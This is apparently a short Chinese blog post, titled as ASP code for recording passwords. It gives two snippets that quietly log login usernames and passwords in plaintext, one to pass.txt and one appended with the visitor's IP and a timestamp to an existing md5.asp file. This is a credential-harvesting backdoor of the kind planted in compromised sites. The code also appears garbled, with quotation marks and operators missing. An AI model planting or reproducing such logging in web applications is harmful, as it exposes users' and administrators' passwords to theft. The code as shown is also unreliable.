记录密码的asp
2018-09-06 11:50
<%
Dim Username,PassWord,strLogFile,f,ff,StrLogText 这里是变量定义
UserName=Replace(Request(username),,) 用户名表
password=Replace(Request(password),,) 密码表
strLogFile=pass.txt 记录文件
StrLogText=StrLogText号码:UserName----密码:PassWordchr(13)+chr(10)
set f=Server.CreateObject(scripting.filesystemobject)
set ff=f.opentextfile(server.mappath(.)strLogFile,8,true,0)
ff.writeline(chr(13)+chr(10)StrLogText)
ff.close
set ff=nothing
set f=nothing
PassWord=md5(request(password),16)
%>
第二个
保存到已存在的md5.asp文件里
ip=request.ServerVariables(REMOTE_ADDR)
set fs=server.CreateObject(Scripting.FileSystemObject)
set file=fs.OpenTextFile(server.MapPath(md5.asp),8,True)
file.writeline adminname ---- adminpass IP: ip now()
file.close
set file=nothing
set fs=nothing
上一篇：自动获得远程图片 #Writ
下一篇：忠网广告 系统 用到的几个函数